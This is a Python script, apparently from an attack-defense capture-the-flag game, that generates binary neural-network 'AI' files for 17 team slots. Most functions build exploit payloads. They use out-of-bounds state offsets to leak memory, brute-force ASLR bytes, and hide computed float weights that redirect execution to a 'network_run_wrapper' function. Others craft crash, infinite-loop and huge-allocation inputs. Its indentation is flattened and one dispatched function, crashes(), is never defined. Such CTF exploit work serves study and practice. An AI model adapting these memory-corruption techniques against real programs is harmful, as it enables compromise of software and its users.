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generate_inputs.py
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generate_inputs.py
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#!/usr/bin/env python
import os
import shutil
import struct
import binascii
INPUT_FOLDER = "inputs/"
def easyai(hidden_layer_size=12):
fc = b""
fc += struct.pack("<I",3) #n inputs
fc += struct.pack("<I",hidden_layer_size) #hidden layer size
fc += struct.pack("<I",3) #n outputs
fc += struct.pack("<I",3) #n states
fc += struct.pack("<I",0) #state offsets in aistate
fc += struct.pack("<I",4)
fc += struct.pack("<I",15)
fc += struct.pack("<I",1) #ltype1
fc += struct.pack("<I",1) #ltype2
fc += struct.pack("<I",1) #ltype3
fc+= open("weights/easyai_3_12_3_cut", "rb").read()[0x18:]
return fc
def allexit():
fc = b""
fc += struct.pack("<I",1) #n inputs
fc += struct.pack("<I",3) #hidden layer size
fc += struct.pack("<I",1) #n outputs
fc += struct.pack("<I",1) #n states
fc += struct.pack("<I",0) #state offsets in aistate
fc += struct.pack("<I",1) #ltype1
fc += struct.pack("<I",1) #ltype2
fc += struct.pack("<I",1) #ltype3
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
for i in range(1, 17+1):
with open(os.path.join(INPUT_FOLDER, "team"+str(i)), "wb") as fp:
fp.write(fc)
def allcrash():
fc = b""
fc += struct.pack("<I",1) #n inputs
fc += struct.pack("<I",1) #hidden layer size
fc += struct.pack("<I",8) #n outputs
fc += struct.pack("<I",1) #n states
fc += struct.pack("<I",226492544) #state offsets in aistate #hex((0x38000000+0x200-0x2000000)//4)
fc += struct.pack("<I",0) #ltype1
fc += struct.pack("<I",0) #ltype2
fc += struct.pack("<I",0) #ltype3
fc += struct.pack("=f",0.123456)
fc += struct.pack("=f",1.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",1.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",1.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",60.0)
fc += struct.pack("=f",-60.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",100.0)
for i in range(1, 17+1):
with open(os.path.join(INPUT_FOLDER, "team"+str(i)), "wb") as fp:
fp.write(fc)
def allloop():
fc = b""
fc += struct.pack("<I",1) #n inputs
fc += struct.pack("<I",2) #hidden layer size
fc += struct.pack("<I",9) #n outputs
fc += struct.pack("<I",1) #n states
leak_off = 226492544
fc += struct.pack("<I",leak_off) #state offsets in aistate #hex((0x38000000+0x200-0x2000000)//4)
fc += struct.pack("<I",0) #ltype1
fc += struct.pack("<I",0) #ltype2
fc += struct.pack("<I",0) #ltype3
cc = open("stub", "rb").read()
off = cc.find(b"\x31\x22\x76\x84")
vv = off-2075+113 #this offset should bring us for the dummyguy location in the bin to the network_run_wrapper function in memory
vv += 276+11+(6-1) # + int(sys.argv[2]) #11
fp_delta = struct.unpack(">f",binascii.unhexlify("3e"+"ff"+"0011"))[0]-struct.unpack(">f",binascii.unhexlify("3e"+"ff"+("%04x"%vv)))[0]
for aslr in range(0,256):
aslr_str = "%02x" % aslr
fp_delta = struct.unpack(">f",binascii.unhexlify("3e"+aslr_str+"0011"))[0]-struct.unpack(">f",binascii.unhexlify("3e"+aslr_str+("%04x"%vv)))[0]
leaked = struct.unpack(">f",binascii.unhexlify("3e"+aslr_str+"0011"))[0]
with open("aslrtests/"+aslr_str, "wb") as fp:
fp.write(struct.pack("=f",1.0))
fp.write(struct.pack("=f",leaked))
print(aslr_str, leaked, fp_delta)
fc += struct.pack("=f",-0.25) #h11
fc += struct.pack("=f",-1.0) #i1->h11
fc += struct.pack("=f",0.0) #h12
fc += struct.pack("=f",1.0) #i1->h12
fc += struct.pack("=f",0.0) #h21
fc += struct.pack("=f",1.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0) #h22
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",1.0)
fc += struct.pack("=f",-0.25+fp_delta/2) #-0.00000002 #o1
fc += struct.pack("=f",-1.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",fp_delta) #o2
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",1.0)
fc += struct.pack("=f",0.0) #o3
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0) #o4
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0) #o5
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0) #o6
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0) #o7
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0) #o8
fc += struct.pack("=f",1000000000.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0) #o9
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",1000.0)
for i in range(1, 17+1):
with open(os.path.join(INPUT_FOLDER, "team"+str(i)), "wb") as fp:
fp.write(fc)
def normal():
fc = b""
fc += struct.pack("<I",1) #n inputs
fc += struct.pack("<I",1) #hidden layer size
fc += struct.pack("<I",8) #n outputs
fc += struct.pack("<I",1) #n states
fc += struct.pack("<I",226492544) #state offsets in aistate #hex((0x38000000+0x200-0x2000000)//4)
fc += struct.pack("<I",0) #ltype1
fc += struct.pack("<I",0) #ltype2
fc += struct.pack("<I",0) #ltype3
cc = open("stub", "rb").read()
off = cc.find(b"\x31\x22\x76\x84")
vv = off-2075+113 #this offset should bring us for the dummyguy location in the bin to the network_run_wrapper function in memory
fp_delta = struct.unpack(">f",binascii.unhexlify("3e"+"ff"+"0011"))[0]-struct.unpack(">f",binascii.unhexlify("3e"+"ff"+("%04x"%vv)))[0]
print(hex(off), hex(vv), fp_delta)
fc += struct.pack("=f",fp_delta)
fc += struct.pack("=f",1.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",1.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",1.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",60.0)
fc += struct.pack("=f",-60.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",100.0)
fc += easyai()
with open(os.path.join(INPUT_FOLDER, "team10"), "wb") as fp:
fp.write(fc)
fc = easyai(hidden_layer_size=0xffffffff)
with open(os.path.join(INPUT_FOLDER, "team2"), "wb") as fp:
fp.write(fc)
fc = easyai(hidden_layer_size=0)
with open(os.path.join(INPUT_FOLDER, "team3"), "wb") as fp:
fp.write(fc)
fc = easyai(hidden_layer_size=1)
with open(os.path.join(INPUT_FOLDER, "team4"), "wb") as fp:
fp.write(fc)
fc = easyai(hidden_layer_size=2)
with open(os.path.join(INPUT_FOLDER, "team5"), "wb") as fp:
fp.write(fc)
fc = easyai(hidden_layer_size=3)
with open(os.path.join(INPUT_FOLDER, "team6"), "wb") as fp:
fp.write(fc)
fc = easyai(hidden_layer_size=12)
with open(os.path.join(INPUT_FOLDER, "team7"), "wb") as fp:
fp.write(fc)
exp2()
def alleasy():
fc = b""
fc += struct.pack("<I",1) #n inputs
fc += struct.pack("<I",1) #hidden layer size
fc += struct.pack("<I",8) #n outputs
fc += struct.pack("<I",1) #n states
fc += struct.pack("<I",226492544) #state offsets in aistate #hex((0x38000000+0x200-0x2000000)//4)
fc += struct.pack("<I",0) #ltype1
fc += struct.pack("<I",0) #ltype2
fc += struct.pack("<I",0) #ltype3
cc = open("stub", "rb").read()
off = cc.find(b"\x31\x22\x76\x84")
vv = off-2075 #this offset should bring us for the dummyguy location in the bin to the network_run_wrapper function in memory
fp_delta = struct.unpack(">f",binascii.unhexlify("3e"+"ff"+"0011"))[0]-struct.unpack(">f",binascii.unhexlify("3e"+"ff"+("%04x"%vv)))[0]
print(hex(off), hex(vv), fp_delta)
fc += struct.pack("=f",fp_delta)
fc += struct.pack("=f",1.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",1.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",1.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",60.0)
fc += struct.pack("=f",-60.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",100.0)
fc += easyai()
for i in range(1, 17+1):
with open(os.path.join(INPUT_FOLDER, "team"+str(i)), "wb") as fp:
fp.write(fc)
def allshoot():
fc = b""
fc += struct.pack("<I",1) #n inputs
fc += struct.pack("<I",1) #hidden layer size
fc += struct.pack("<I",7) #n outputs
fc += struct.pack("<I",1) #n states
fc += struct.pack("<I",0) #state offsets in aistate #hex((0x38000000+0x200-0x2000000)//4)
fc += struct.pack("<I",0) #ltype1
fc += struct.pack("<I",0) #ltype2
fc += struct.pack("<I",0) #ltype3
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
for i in range(1, 17+1):
with open(os.path.join(INPUT_FOLDER, "team"+str(i)), "wb") as fp:
fp.write(fc)
def allempty():
fc = b""
for i in range(1, 17+1):
with open(os.path.join(INPUT_FOLDER, "team"+str(i)), "wb") as fp:
fp.write(fc)
def test1():
fc = b""
for i in range(1, 17+1):
with open(os.path.join(INPUT_FOLDER, "team"+str(i)), "wb") as fp:
fp.write(fc)
fc = b""
fc += struct.pack("<I",1) #n inputs
fc += struct.pack("<I",1) #hidden layer size
fc += struct.pack("<I",8) #n outputs
fc += struct.pack("<I",1) #n states
fc += struct.pack("<I",226492544) #state offsets in aistate #hex((0x38000000+0x200-0x2000000)//4)
fc += struct.pack("<I",0) #ltype1
fc += struct.pack("<I",0) #ltype2
fc += struct.pack("<I",0) #ltype3
cc = open("stub", "rb").read()
off = cc.find(b"\x31\x22\x76\x84")
vv = off-2075+113 #this offset should bring us for the dummyguy location in the bin to the network_run_wrapper function in memory
fp_delta = struct.unpack(">f",binascii.unhexlify("3e"+"ff"+"0011"))[0]-struct.unpack(">f",binascii.unhexlify("3e"+"ff"+("%04x"%vv)))[0]
print(hex(off), hex(vv), fp_delta)
fc += struct.pack("=f",fp_delta)
fc += struct.pack("=f",1.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",1.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",1.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",60.0)
fc += struct.pack("=f",-60.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",100.0)
ii = 55
fc += struct.pack("<I",ii) #n inputs
fc += struct.pack("<I",64) #hidden layer size
fc += struct.pack("<I",64) #n outputs
fc += struct.pack("<I",ii) #n states
for _ in range(ii):
fc += struct.pack("<I",3) #state offsets in aistate #hex((0x38000000+0x200-0x2000000)//4)
fc += struct.pack("<I",0) #ltype1
fc += struct.pack("<I",0) #ltype2
fc += struct.pack("<I",0) #ltype3
for _ in range(50000):
fc += struct.pack("=f",0.0)
with open(os.path.join(INPUT_FOLDER, "team1"), "wb") as fp:
fp.write(fc)
def exp2(yan_stub=False, allt=False):
fc = b""
fc += struct.pack("<I",1) #n inputs
fc += struct.pack("<I",2) #hidden layer size
fc += struct.pack("<I",9) #n outputs
fc += struct.pack("<I",1) #n states
leak_off = 1 if yan_stub else 226492544
fc += struct.pack("<I",leak_off) #state offsets in aistate #hex((0x38000000+0x200-0x2000000)//4)
fc += struct.pack("<I",0) #ltype1
fc += struct.pack("<I",0) #ltype2
fc += struct.pack("<I",0) #ltype3
cc = open("stub", "rb").read()
off = cc.find(b"\x31\x22\x76\x84")
vv = off-2075+113 #this offset should bring us for the dummyguy location in the bin to the network_run_wrapper function in memory
fp_delta = struct.unpack(">f",binascii.unhexlify("3e"+"ff"+"0011"))[0]-struct.unpack(">f",binascii.unhexlify("3e"+"ff"+("%04x"%vv)))[0]
for aslr in range(0,256):
aslr_str = "%02x" % aslr
fp_delta = struct.unpack(">f",binascii.unhexlify("3e"+aslr_str+"0011"))[0]-struct.unpack(">f",binascii.unhexlify("3e"+aslr_str+("%04x"%vv)))[0]
leaked = struct.unpack(">f",binascii.unhexlify("3e"+aslr_str+"0011"))[0]
with open("aslrtests/"+aslr_str, "wb") as fp:
fp.write(struct.pack("=f",1.0))
fp.write(struct.pack("=f",leaked))
print(aslr_str, leaked, fp_delta)
fc += struct.pack("=f",-0.25) #h11
fc += struct.pack("=f",-1.0) #i1->h11
fc += struct.pack("=f",0.0) #h12
fc += struct.pack("=f",1.0) #i1->h12
fc += struct.pack("=f",0.0) #h21
fc += struct.pack("=f",1.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0) #h22
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",1.0)
fc += struct.pack("=f",-0.25+fp_delta/2) #-0.00000002 #o1
fc += struct.pack("=f",-1.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",fp_delta) #o2
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",1.0)
fc += struct.pack("=f",0.0) #o3
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0) #o4
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0) #o5
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0) #o6
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0) #o7
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0) #o8
fc += struct.pack("=f",1000000000.0)
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",0.0) #o9
fc += struct.pack("=f",0.0)
fc += struct.pack("=f",1000.0)
fc += easyai()
if allt:
for i in range(1, 17+1):
with open(os.path.join(INPUT_FOLDER, "team"+str(i)), "wb") as fp:
fp.write(fc)
else:
with open(os.path.join(INPUT_FOLDER, "team1"), "wb") as fp:
fp.write(fc)
if __name__ == "__main__":
import sys
for f in os.listdir(INPUT_FOLDER):
if not f.startswith("team"):
continue
fname = os.path.join(INPUT_FOLDER, f)
with open(fname, "wb") as fp:
pass
if len(sys.argv) == 1:
normal()
elif sys.argv[1] == "crashes":
crashes()
elif sys.argv[1] == "allshoot":
allshoot()
elif sys.argv[1] == "alleasy":
alleasy()
elif sys.argv[1] == "allexit":
allexit()
elif sys.argv[1] == "allcrash":
allcrash()
elif sys.argv[1] == "allloop":
allloop()
elif sys.argv[1] == "allempty":
allempty()
elif sys.argv[1] == "test1":
test1()
elif sys.argv[1] == "exp2":
exp2()
elif sys.argv[1] == "exp2yan":
exp2(yan_stub=True)
elif sys.argv[1] == "exp2all":
exp2(allt=True)
else:
print("error!")
'''
for v in range(0, 256):
vstr = "%02x"%v
t=struct.unpack(">f",binascii.unhexlify("3e"+vstr+"0011"))[0]-struct.unpack(">f",binascii.unhexlify("3e"+vstr+"0632"))[0]
print(v, t)
'''